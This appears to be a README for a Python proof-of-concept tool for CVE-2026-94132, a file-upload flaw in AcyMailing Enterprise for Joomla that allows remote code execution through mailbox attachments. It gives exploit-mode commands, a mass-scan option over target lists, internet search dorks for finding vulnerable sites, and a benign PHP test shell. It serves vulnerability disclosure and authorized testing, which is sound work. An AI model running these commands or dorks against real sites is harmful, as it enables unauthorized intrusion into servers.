murrez/cve-2026-94132Python check/exploit PoC for CVE-2026-94132: detects AcyMailing for Joomla versions, probes the media/com_acym/upload directory, and verifies uploaded PHP shell execution.
Python 3 PoC for CVE-2026-94132 — AcyMailing Enterprise for Joomla (acymailing.com).
CVE-2026-94132 — AcyMailing Enterprise < 11.1.0 (through 11.0.5): mailbox actions in POP3 mode save incoming MIME attachments to media/com_acym/upload/ without proper extension checks. Anyone who can email the monitored mailbox can place .php (or similar) under the web root and achieve RCE (CWE-434). CVSS 4.0 9.5 Critical (AT:P — monitored mailbox access required). Fix: 11.1.0 (switch to IMAP or disable vulnerable POP3 attachment handling until patched).
PoC page: https://pocbit.org/pocs/cve-2026-94132
Catalog: https://pocbit.org/pocs/
| Product | AcyMailing Enterprise for Joomla |
| Component | com_acym |
| Affected | 1.0.0 – 11.0.5 |
| Fixed | 11.1.0 |
| Write path | /media/com_acym/upload/ |
| Prerequisite | Attacker can send mail to AcyMailing POP3 monitored inbox |
| Assigner | Joomla CNA |
This PoC does not send email (authorized mailbox testing only). It detects AcyMailing/version, probes the upload directory, and verifies a shell URL after you deliver a test attachment.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads
Lab exploit flow: email pocbit_94132.php (<?php echo 'POCBIT-94132-OK'; ?>) to the site’s AcyMailing mailbox → run --mode exploit --verify-url ....
body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"
AcyMailing Enterprise for Joomla < 11.1.0: POP3 mailbox actions write unvalidated MIME attachments to media/com_acym/upload/ → RCE if you can email the monitored inbox (CVE-2026-94132). Python check/exploit PoC — PoCbit.
CVE-2026-94132: AcyMailing Enterprise ≤ 11.0.5 — POP3 mailbox’a gelen ekler uzantı kontrolü olmadan media/com_acym/upload/ altına yazılıyor; izlenen mailbox’a mail atabilen saldırgan PHP/RCE alabilir. 11.1.0 yükselt veya IMAP’e geç.
Authorized testing only. Mailbox delivery tests must use inboxes you own or have permission to use.